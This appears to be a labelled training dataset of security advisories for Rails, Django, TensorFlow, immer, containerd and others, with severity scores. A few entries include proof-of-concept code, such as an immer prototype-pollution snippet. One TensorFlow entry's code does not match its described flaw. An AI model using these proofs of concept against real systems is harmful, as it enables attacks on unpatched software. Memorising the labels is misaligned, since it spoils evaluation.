-{"id": "8904c6028d4792b9ea1c", "text": "Withdrawn, accidental duplicate publish.\n\nDirectory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.2 and 4.x before 4.1.14.2 allows remote attackers to read arbitrary files by leveraging an application's unrestricted use of the render method and providing a .. (dot dot) in a pathname.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2016-0752.", "text_raw": "Moderate severity vulnerability that affects actionview\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\n\nDirectory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.2 and 4.x before 4.1.14.2 allows remote attackers to read arbitrary files by leveraging an application's unrestricted use of the render method and providing a .. (dot dot) in a pathname.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2016-0752.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-13", "split": "train"}
-{"id": "91666f04fc38cad2f3c4", "text": "Missing Regex anchor in Rack-Cors allows malicious third party site to perform CORS request\n\nMissing anchor in generated regex for rack-cors before 0.4.1 allows a malicious third-party site to perform CORS requests. If the configuration were intended to allow only the trusted `example.com` domain name and not the malicious `example.net` domain name, then `example.com.example.net` (as well as `example.com-example.net`) would be inadvertently allowed.", "text_raw": "Missing Regex anchor in Rack-Cors allows malicious third party site to perform CORS request\n\n[Severity: HIGH]\n\nMissing anchor in generated regex for rack-cors before 0.4.1 allows a malicious third-party site to perform CORS requests. If the configuration were intended to allow only the trusted `example.com` domain name and not the malicious `example.net` domain name, then `example.com.example.net` (as well as `example.com-example.net`) would be inadvertently allowed.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-31", "split": "train"}
-{"id": "e55063c22efd67e9b735", "text": "Django Denial-of-service in strip_tags()\n\nAn issue was discovered in Django 1.11.x before 1.11.23, 2.1.x before 2.1.11, and 2.2.x before 2.2.4. Due to the behaviour of the underlying HTMLParser, django.utils.html.strip_tags would be extremely slow to evaluate certain inputs containing large sequences of nested incomplete HTML entities.", "text_raw": "Django Denial-of-service in strip_tags()\n\n[Severity: HIGH]\n\nAn issue was discovered in Django 1.11.x before 1.11.23, 2.1.x before 2.1.11, and 2.2.x before 2.2.4. Due to the behaviour of the underlying HTMLParser, django.utils.html.strip_tags would be extremely slow to evaluate certain inputs containing large sequences of nested incomplete HTML entities.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-08-06", "split": "train"}
-{"id": "f3d4a9819a54110a4c4f", "text": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Remote Root Exploit", "text_raw": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Remote Root Exploit\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2018-07-17", "split": "train"}
-{"id": "e83c7a469cc860d9f7e0", "text": "Teradek Cube 7.3.6 CSRF Change Password Exploit", "text_raw": "Teradek Cube 7.3.6 CSRF Change Password Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-05-21", "split": "train"}
-{"id": "b7e06954e228320799e5", "text": "UBICOD Medivision Digital Signage 1.5.1 Privilege Escalation Through Authorization Bypass", "text_raw": "UBICOD Medivision Digital Signage 1.5.1 Privilege Escalation Through Authorization Bypass\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2020-07-19", "split": "train"}
-{"id": "ab49939f5463674df736", "text": "Pillow buffer overflow in ImagingPcdDecode\n\nBuffer overflow in the `ImagingPcdDecode` function in `PcdDecode.c` in Pillow before 3.1.1 and Python Imaging Library (PIL) 1.1.7 and earlier allows remote attackers to cause a denial of service (crash) via a crafted PhotoCD file.", "text_raw": "Pillow buffer overflow in ImagingPcdDecode\n\n[Severity: HIGH]\n\nBuffer overflow in the `ImagingPcdDecode` function in `PcdDecode.c` in Pillow before 3.1.1 and Python Imaging Library (PIL) 1.1.7 and earlier allows remote attackers to cause a denial of service (crash) via a crafted PhotoCD file.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "87b4dfe3672f6ad741fe", "text": "Cross-Site Scripting in editor.md\n\nAll versions of `editor.md` are vulnerable to Cross-Site Scripting. User input is insufficiently sanitized, allowing attackers to inject malicious code in payloads containing  base64-encoded content.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Cross-Site Scripting in editor.md\n\n[Severity: MEDIUM]\n\nAll versions of `editor.md` are vulnerable to Cross-Site Scripting. User input is insufficiently sanitized, allowing attackers to inject malicious code in payloads containing  base64-encoded content.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-03-14", "split": "train"}
-{"id": "abe400bcf95b43c302dc", "text": "Insufficiently restricted permissions on plugin directories\n\n### Impact\nA bug was found in containerd where container root directories and some plugins had insufficiently restricted permissions, allowing otherwise unprivileged Linux users to traverse directory contents and execute programs. When containers included executable programs with extended permission bits (such as setuid), unprivileged Linux users could discover and execute those programs. When the UID of an unprivileged Linux user on the host collided with the file owner or group inside a container, the unprivileged Linux user on the host could discover, read, and modify those files.\n\n### Patches\nThis vulnerability has been fixed in containerd 1.4.11 and containerd 1.5.7. Users should update to these version when they are released and may restart containers or update directory permissions to mitigate the vulnerability.\n\n### Workarounds\nLimit access to the host to trusted users. Update directory permission on container bundles directories.\n\n### For more information\nIf you have any questions or comments about this advisory: \n* Open an issue in [github.com/containerd/containerd](https://github.com/containerd/containerd/issues/new/choose)\n* Email us at [security@containerd.io](mailto:security@containerd.io)", "text_raw": "Insufficiently restricted permissions on plugin directories\n\n[Severity: MEDIUM]\n\n### Impact\nA bug was found in containerd where container root directories and some plugins had insufficiently restricted permissions, allowing otherwise unprivileged Linux users to traverse directory contents and execute programs. When containers included executable programs with extended permission bits (such as setuid), unprivileged Linux users could discover and execute those programs. When the UID of an unprivileged Linux user on the host collided with the file owner or group inside a container, the unprivileged Linux user on the host could discover, read, and modify those files.\n\n### Patches\nThis vulnerability has been fixed in containerd 1.4.11 and containerd 1.5.7. Users should update to these version when they are released and may restart containers or update directory permissions to mitigate the vulnerability.\n\n### Workarounds\nLimit access to the host to trusted users. Update directory permission on container bundles directories. \n\n### For more information\nIf you have any questions or comments about this advisory: \n* Open an issue in [github.com/containerd/containerd](https://github.com/containerd/containerd/issues/new/choose)\n* Email us at [security@containerd.io](mailto:security@containerd.io)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-04", "split": "train"}
-{"id": "33085010cc0e741004bd", "text": "Segfault in `tf.raw_ops.SparseCountSparseOutput`\n\n### Impact\nPassing invalid arguments (e.g., discovered via fuzzing) to `tf.raw_ops.SparseCountSparseOutput` results in segfault.\n\n### Patches\nWe have patched the issue in GitHub commit [82e6203221865de4008445b13c69b6826d2b28d9](https://github.com/tensorflow/tensorflow/commit/82e6203221865de4008445b13c69b6826d2b28d9).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "text_raw": "Segfault in `tf.raw_ops.SparseCountSparseOutput`\n\n[Severity: LOW]\n\n### Impact\nPassing invalid arguments (e.g., discovered via fuzzing) to `tf.raw_ops.SparseCountSparseOutput` results in segfault.\n\n### Patches\nWe have patched the issue in GitHub commit [82e6203221865de4008445b13c69b6826d2b28d9](https://github.com/tensorflow/tensorflow/commit/82e6203221865de4008445b13c69b6826d2b28d9).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "faa27cc1b755ea7991b5", "text": "Prototype Pollution in immer\n\n## Overview\n\nAffected versions of immer are vulnerable to Prototype Pollution.\n\n## Proof of exploit\n\n```js\nconst {applyPatches, enablePatches} = require(\"immer\");\nenablePatches();\nlet obj = {};\nconsole.log(\"Before : \" + obj.polluted);\napplyPatches({}, [ { op: 'add', path: [ \"__proto__\", \"polluted\" ], value: \"yes\" } ]);\n// applyPatches({}, [ { op: 'replace', path: [ \"__proto__\", \"polluted\" ], value: \"yes\" } ]);\nconsole.log(\"After : \" + obj.polluted);\n```\n\n## Remediation\n\nVersion 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5) for this vulnerability, updating is recommended.", "text_raw": "Prototype Pollution in immer\n\n[Severity: HIGH]\n\n## Overview\n\nAffected versions of immer are vulnerable to Prototype Pollution.\n\n## Proof of exploit\n\n```js\nconst {applyPatches, enablePatches} = require(\"immer\");\nenablePatches();\nlet obj = {};\nconsole.log(\"Before : \" + obj.polluted);\napplyPatches({}, [ { op: 'add', path: [ \"__proto__\", \"polluted\" ], value: \"yes\" } ]);\n// applyPatches({}, [ { op: 'replace', path: [ \"__proto__\", \"polluted\" ], value: \"yes\" } ]);\nconsole.log(\"After : \" + obj.polluted);\n```\n\n## Remediation\n\nVersion 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5) for this vulnerability, updating is recommended.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-01-20", "split": "train"}
-{"id": "65f913d893febb954256", "text": "Information disclosure vulnerability in OnionShare\n\nAn information disclosure vulnerability in OnionShare 2.3 before 2.4 allows remote unauthenticated attackers to retrieve the full list of participants of a non-public OnionShare node via the --chat feature.", "text_raw": "Information disclosure vulnerability in OnionShare\n\n[Severity: MEDIUM]\n\nAn information disclosure vulnerability in OnionShare 2.3 before 2.4 allows remote unauthenticated attackers to retrieve the full list of participants of a non-public OnionShare node via the --chat feature. ", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-19", "split": "train"}
-{"id": "64eb24ed281cd6f0b704", "text": "Cross-Site Scripting through Fluid view helper arguments\n\n### Problem\n\nThree XSS vulnerabilities have been detected in Fluid:\n\n1. TagBasedViewHelper allowed XSS throug maliciously crafted `additionalAttributes` arrays by creating keys with attribute-closing quotes followed by HTML. When rendering such attributes, TagBuilder would not escape the keys.\n2. ViewHelpers which used the `CompileWithContentArgumentAndRenderStatic` trait, and which declared `escapeOutput = false`, would receive the content argument in unescaped format.\n3. Subclasses of AbstractConditionViewHelper would receive the `then` and `else` arguments in unescaped format.\n\n### Solution\nUpdate to versions 2.0.8, 2.1.7, 2.2.4, 2.3.7, 2.4.4, 2.5.11 or 2.6.10 of this `typo3fluid/fluid` package that fix the problem described.\n\nUpdated versions of this package are bundled in following TYPO3 (`typo3/cms-core`) releases:\n\n* TYPO3 v9.5.23 (using typo3fluid/fluid v2.6.10)\n* TYPO3 v10.4.10 (using typo3fluid/fluid v2.6.10)\n\nThe specific vulnerabilities are prevented by:\n\n1. Explicitly escaping keys found in the `additionalAttributes` array passed to a TagBasedViewHelper before using them as attribute names.\n2. Detecting \"content argument\" on ViewHelpers using the trait CompileWithContentArgumentAndRenderStatic and escaping it based on the state of `escapeChildren` when `escapeOutput` is toggled off. Escaping still will not occur if explicitly disabled by an enclosing ViewHelper. This homogenises escaping behavior of \"content arguments\" so the same strategy is used whether the \"content\" argument is passed as argument or child content.\n3. Explicitly defining the `then` and `else` arguments on AbstractConditionViewHelper subclasses as escaped and applying escaping in all cases where escaping is not explicitly disabled by an enclosing ViewHelper.\n\n### Affected cases\n\n1. The fix for TagBasedViewHelper does not affect any valid use cases; it only prevents use of maliciously crafted attribute/value arrays passed as `additionalAttributes`.\n2. Any case where a ViewHelper with a \"content argument\" and which defines `escapeOutput = false` is used with the content argument instead of passing variables as child node - e.g. `<v:h content=\"{variable}\" />` instead of `<v:h>{variable}</v:h>` to intentionally circumvent escaping of any HTML in `{variable}`.\n3. Any case where a condition ViewHelper is used with `then` or `else` arguments to render a variable containing HTML, excluding cases where the variable is intentionally unescaped - e.g. `<f:if condition=\"1\" then=\"{variable -> f:format.raw()}\" />`, and excluding any cases where a ViewHelper is used as argument value and the ViewHelper intentionally disables escaping - e.g. `<f:if condition=\"1\" then=\"{f:render(section: 'MySection')}\" />` does not escape the `then` argument because `f:render` disables output escaping.\n\nCases 2 and 3 can be mitigated to allow variables with HTML to not be escaped, by intentionally disabling escaping by chaining the variable used in the argument with `f:format.raw` as described in case 3. Note that this constitutes a potential security issue, for which the template author is solely responsible. Example: `<f:if condition=\"1\" then=\"{intentionalHtmlVariable}\" />` can allow HTML in `{intentionalHtmlVariable}` by adding `-> f:format.raw()` - to become `<f:if condition=\"1\" then=\"{intentionalHtmlVariable -> f:format.raw()}\" />`.\n\nCustom ViewHelpers which use `CompileWithContentArgumentAndRenderStatic` can alternatively pass a 6th argument with value `false` to the call to `registerArgument` which registers the \"content argument\", which explicitly disables escaping of the argument value: `$this->registerArgument('arg', 'string', 'My argument', false, null, false);`. Note that this constitutes a potential security issue for which the ViewHelper author is solely responsible. **Variables containing HTML should only be allowed after taking great care to prevent XSS through other means, e.g. sanitising the variable before it is assigned to Fluid or only allowing such variables to come from trusted sources.**\n\n### C", "text_raw": "Cross-Site Scripting through Fluid view helper arguments\n\n[Severity: HIGH]\n\n> ### Meta\n> * CVSS: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:F/RL:O/RC:C` (5.7)\n> * CWE-79\n\n### Problem\n\nThree XSS vulnerabilities have been detected in Fluid:\n\n1. TagBasedViewHelper allowed XSS throug maliciously crafted `additionalAttributes` arrays by creating keys with attribute-closing quotes followed by HTML. When rendering such attributes, TagBuilder would not escape the keys.\n2. ViewHelpers which used the `CompileWithContentArgumentAndRenderStatic` trait, and which declared `escapeOutput = false`, would receive the content argument in unescaped format.\n3. Subclasses of AbstractConditionViewHelper would receive the `then` and `else` arguments in unescaped format.\n\n### Solution\nUpdate to versions 2.0.8, 2.1.7, 2.2.4, 2.3.7, 2.4.4, 2.5.11 or 2.6.10 of this `typo3fluid/fluid` package that fix the problem described.\n\nUpdated versions of this package are bundled in following TYPO3 (`typo3/cms-core`) releases:\n\n* TYPO3 v9.5.23 (using typo3fluid/fluid v2.6.10)\n* TYPO3 v10.4.10 (using typo3fluid/fluid v2.6.10)\n\nThe specific vulnerabilities are prevented by:\n\n1. Explicitly escaping keys found in the `additionalAttributes` array passed to a TagBasedViewHelper before using them as attribute names.\n2. Detecting \"content argument\" on ViewHelpers using the trait CompileWithContentArgumentAndRenderStatic and escaping it based on the state of `escapeChildren` when `escapeOutput` is toggled off. Escaping still will not occur if explicitly disabled by an enclosing ViewHelper. This homogenises escaping behavior of \"content arguments\" so the same strategy is used whether the \"content\" argument is passed as argument or child content.\n3. Explicitly defining the `then` and `else` arguments on AbstractConditionViewHelper subclasses as escaped and applying escaping in all cases where escaping is not explicitly disabled by an enclosing ViewHelper.\n\n\n### Affected cases\n\n1. The fix for TagBasedViewHelper does not affect any valid use cases; it only prevents use of maliciously crafted attribute/value arrays passed as `additionalAttributes`.\n2. Any case where a ViewHelper with a \"content argument\" and which defines `escapeOutput = false` is used with the content argument instead of passing variables as child node - e.g. `<v:h content=\"{variable}\" />` instead of `<v:h>{variable}</v:h>` to intentionally circumvent escaping of any HTML in `{variable}`.\n3. Any case where a condition ViewHelper is used with `then` or `else` arguments to render a variable containing HTML, excluding cases where the variable is intentionally unescaped - e.g. `<f:if condition=\"1\" then=\"{variable -> f:format.raw()}\" />`, and excluding any cases where a ViewHelper is used as argument value and the ViewHelper intentionally disables escaping - e.g. `<f:if condition=\"1\" then=\"{f:render(section: 'MySection')}\" />` does not escape the `then` argument because `f:render` disables output escaping.\n\nCases 2 and 3 can be mitigated to allow variables with HTML to not be escaped, by intentionally disabling escaping by chaining the variable used in the argument with `f:format.raw` as described in case 3. Note that this constitutes a potential security issue, for which the template author is solely responsible. Example: `<f:if condition=\"1\" then=\"{intentionalHtmlVariable}\" />` can allow HTML in `{intentionalHtmlVariable}` by adding `-> f:format.raw()` - to become `<f:if condition=\"1\" then=\"{intentionalHtmlVariable -> f:format.raw()}\" />`.\n\nCustom ViewHelpers which use `CompileWithContentArgumentAndRenderStatic` can alternatively pass a 6th argument with value `false` to the call to `registerArgument` which registers the \"content argument\", which explicitly disables escaping of the argument value: `$this->registerArgument('arg', 'string', 'My argument', false, null, false);`. Note that this constitutes a potential security issue for which the ViewHelper author is solely responsible. **Variables containing HTML should only be allowed after taking great care to prevent XSS through other means, e.g. saniti", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-11-18", "split": "train"}
-{"id": "99106c91a12605032ddb", "text": "Kaseya Virtual System/Server Administrator (VSA) Information Disclosure Vulnerability\n\nAffected: Kaseya Virtual System/Server Administrator (VSA)\n\nKaseya Virtual System/Server Administrator (VSA) contains an information disclosure vulnerability allowing an attacker to obtain the sessionId that can be used to execute further attacks against the system.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-522\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Kaseya Virtual System/Server Administrator (VSA) Information Disclosure Vulnerability\n\nAffected: Kaseya Virtual System/Server Administrator (VSA)\n\nKaseya Virtual System/Server Administrator (VSA) contains an information disclosure vulnerability allowing an attacker to obtain the sessionId that can be used to execute further attacks against the system.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-522\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "981ee1f45ee5f5d9d8cd", "text": "Null pointer dereference via invalid Ragged Tensors\n\n### Impact\nCalling `tf.raw_ops.RaggedTensorToVariant` with arguments specifying an invalid ragged tensor results in a null pointer dereference:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)\nfilter_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)\n\ntf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 56, 56, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 23, 1])\n```\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[2, 2, 2, 2, 0], dtype=tf.float32)\nfilter_tensor = tf.constant([], shape=[0, 0, 2, 6, 2], dtype=tf.float32)\n\ntf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 39, 34, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])\n```\n\nThe implementation of [`RaggedTensorToVariant` operations](https://github.com/tensorflow/tensorflow/blob/904b3926ed1c6c70380d5313d282d248a776baa1/tensorflow/core/kernels/ragged_tensor_to_variant_op.cc#L39-L40) does not validate that the ragged tensor argument is non-empty:\n\n```cc\n  int ragged_rank = batched_ragged.ragged_rank();\n  auto batched_splits_top_vec = batched_ragged.splits(0).vec<SPLIT_TYPE>();\n```\n\nSince `batched_ragged` contains no elements, `batched_ragged.splits` is a null vector, thus `batched_ragged.splits(0)` will result in  dereferencing `nullptr`.\n\n### Patches\nWe have patched the issue in GitHub commit [b055b9c474cd376259dde8779908f9eeaf097d93](https://github.com/tensorflow/tensorflow/commit/b055b9c474cd376259dde8779908f9eeaf097d93).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Null pointer dereference via invalid Ragged Tensors\n\n[Severity: LOW]\n\n### Impact\nCalling `tf.raw_ops.RaggedTensorToVariant` with arguments specifying an invalid ragged tensor results in a null pointer dereference:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)\nfilter_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)\n\ntf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 56, 56, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 23, 1])\n```\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[2, 2, 2, 2, 0], dtype=tf.float32)\nfilter_tensor = tf.constant([], shape=[0, 0, 2, 6, 2], dtype=tf.float32)\n\ntf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 39, 34, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])\n```\n\nThe implementation of [`RaggedTensorToVariant` operations](https://github.com/tensorflow/tensorflow/blob/904b3926ed1c6c70380d5313d282d248a776baa1/tensorflow/core/kernels/ragged_tensor_to_variant_op.cc#L39-L40) does not validate that the ragged tensor argument is non-empty:\n\n```cc\n  int ragged_rank = batched_ragged.ragged_rank();\n  auto batched_splits_top_vec = batched_ragged.splits(0).vec<SPLIT_TYPE>();\n```\n\nSince `batched_ragged` contains no elements, `batched_ragged.splits` is a null vector, thus `batched_ragged.splits(0)` will result in  dereferencing `nullptr`.\n\n### Patches\nWe have patched the issue in GitHub commit [b055b9c474cd376259dde8779908f9eeaf097d93](https://github.com/tensorflow/tensorflow/commit/b055b9c474cd376259dde8779908f9eeaf097d93).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "7c7bb78b59a298030fdf", "text": "Cross-Site Scripting in diagram-js-direct-editing\n\nVersions of `diagram-js-direct-editing` prior to 1.4.3 are vulnerable to Cross-Site Scripting. The package fails to sanitize input from the clipboard, allowing attackers to execute arbitrary JavaScript in the victim's browser.\n\n## Recommendation\n\nUpgrade to version 1.4.3 or later.", "text_raw": "Cross-Site Scripting in diagram-js-direct-editing\n\n[Severity: MEDIUM]\n\nVersions of `diagram-js-direct-editing` prior to 1.4.3 are vulnerable to Cross-Site Scripting. The package fails to sanitize input from the clipboard, allowing attackers to execute arbitrary JavaScript in the victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 1.4.3 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "be87ed4eea6755192d53", "text": "Prototype Pollution in safe-object2\n\nAll versions of `safe-object2` are vulnerable to prototype pollution. The `settter()` function does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Prototype Pollution in safe-object2\n\n[Severity: HIGH]\n\nAll versions of `safe-object2` are vulnerable to prototype pollution. The `settter()` function does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "716447dfae1ba827637c", "text": "snipe-it is vulnerable to Improper Access Control\n\nsnipe-it prior to version 5.3.4 is vulnerable to Improper Access Control. Regular users with `DENY` set to all models permissions can still view model information via the /models/{id}/clone endpoint due to no authorize('view') permission being set.", "text_raw": "snipe-it is vulnerable to Improper Access Control\n\n[Severity: MEDIUM]\n\nsnipe-it prior to version 5.3.4 is vulnerable to Improper Access Control. Regular users with `DENY` set to all models permissions can still view model information via the /models/{id}/clone endpoint due to no authorize('view') permission being set.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "8bc335bc937c43e60b27", "text": "Withdrawn Advisory: marked cross-site scripting vulnerability\n\nVersions 0.3.2 and earlier of marked are affected by a cross-site scripting vulnerability even when sanitize:true is set.", "text_raw": "Withdrawn Advisory: marked cross-site scripting vulnerability\n\n[Severity: MEDIUM]\n\nVersions 0.3.2 and earlier of marked are affected by a cross-site scripting vulnerability even when sanitize:true is set.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-03", "split": "train"}
-{"id": "b0b9424f0a680d6ba0d6", "text": "GeniXCMS v0.0.1 Remote Unauthenticated SQL Injection Exploit", "text_raw": "GeniXCMS v0.0.1 Remote Unauthenticated SQL Injection Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-03-10", "split": "train"}
-{"id": "8226ccd3916e569b1d11", "text": "Directory traversal vulnerability in Action View in Ruby on Rails\n\nDirectory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application's unrestricted use of the render method and providing a `..` (dot dot) in a pathname.", "text_raw": "Directory traversal vulnerability in Action View in Ruby on Rails\n\n[Severity: HIGH]\n\nDirectory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application's unrestricted use of the render method and providing a `..` (dot dot) in a pathname.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "52d30ff9592cbfcf7d99", "text": "Path Traversal vulnerability that affects yard\n\n## Possible arbitrary path traversal and file access via `yard server`\n\n### Impact\n\nA path traversal vulnerability was discovered in YARD <= 0.9.19 when using `yard server` to serve documentation. This bug would allow unsanitized HTTP requests to access arbitrary files on the machine of a yard server host under certain conditions.\n\nThanks to CuongMX from Viettel Cyber Security for discovering this vulnerability.\n\n### Patches\n\nPlease upgrade to YARD v0.9.20 immediately if you are relying on yard server to host documentation in any untrusted environments.\n\n### Workarounds\n\nFor users who cannot upgrade, it is possible to perform path sanitization of HTTP requests at your webserver level. WEBrick, for example, can perform such sanitization by default (which you can use via `yard server -s webrick`), as can certain rules in your webserver configuration.", "text_raw": "Path Traversal vulnerability that affects yard\n\n[Severity: HIGH]\n\n## Possible arbitrary path traversal and file access via `yard server`\n\n### Impact\n\nA path traversal vulnerability was discovered in YARD <= 0.9.19 when using `yard server` to serve documentation. This bug would allow unsanitized HTTP requests to access arbitrary files on the machine of a yard server host under certain conditions.\n\nThanks to CuongMX from Viettel Cyber Security for discovering this vulnerability.\n\n### Patches\n\nPlease upgrade to YARD v0.9.20 immediately if you are relying on yard server to host documentation in any untrusted environments.\n\n### Workarounds\n\nFor users who cannot upgrade, it is possible to perform path sanitization of HTTP requests at your webserver level. WEBrick, for example, can perform such sanitization by default (which you can use via `yard server -s webrick`), as can certain rules in your webserver configuration.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-02", "split": "train"}
-{"id": "29ba56ee20197bf34103", "text": "Cross-site Scripting in jspwiki-war\n\nA carefully crafted URL could trigger an XSS vulnerability on Apache JSPWiki, from versions up to 2.10.5, which could lead to session hijacking.", "text_raw": "Cross-site Scripting in jspwiki-war\n\n[Severity: MEDIUM]\n\nA carefully crafted URL could trigger an XSS vulnerability on Apache JSPWiki, from versions up to 2.10.5, which could lead to session hijacking.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-12", "split": "train"}
-{"id": "2bfeea9b83ce6d4526d5", "text": "Apache NiFi Improper Input Validation vulnerability\n\nWhen a client request to a cluster node was replicated to other nodes in the cluster for verification, the Content-Length was forwarded. On a DELETE request, the body was ignored, but if the initial request had a Content-Length value other than 0, the receiving nodes would wait for the body and eventually timeout. Mitigation: The fix to check DELETE requests and overwrite non-zero Content-Length header values was applied on the Apache NiFi 1.8.0 release. Users running a prior 1.x release should upgrade to the appropriate release.", "text_raw": "Apache NiFi Improper Input Validation vulnerability\n\n[Severity: HIGH]\n\nWhen a client request to a cluster node was replicated to other nodes in the cluster for verification, the Content-Length was forwarded. On a DELETE request, the body was ignored, but if the initial request had a Content-Length value other than 0, the receiving nodes would wait for the body and eventually timeout. Mitigation: The fix to check DELETE requests and overwrite non-zero Content-Length header values was applied on the Apache NiFi 1.8.0 release. Users running a prior 1.x release should upgrade to the appropriate release.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-12-20", "split": "train"}
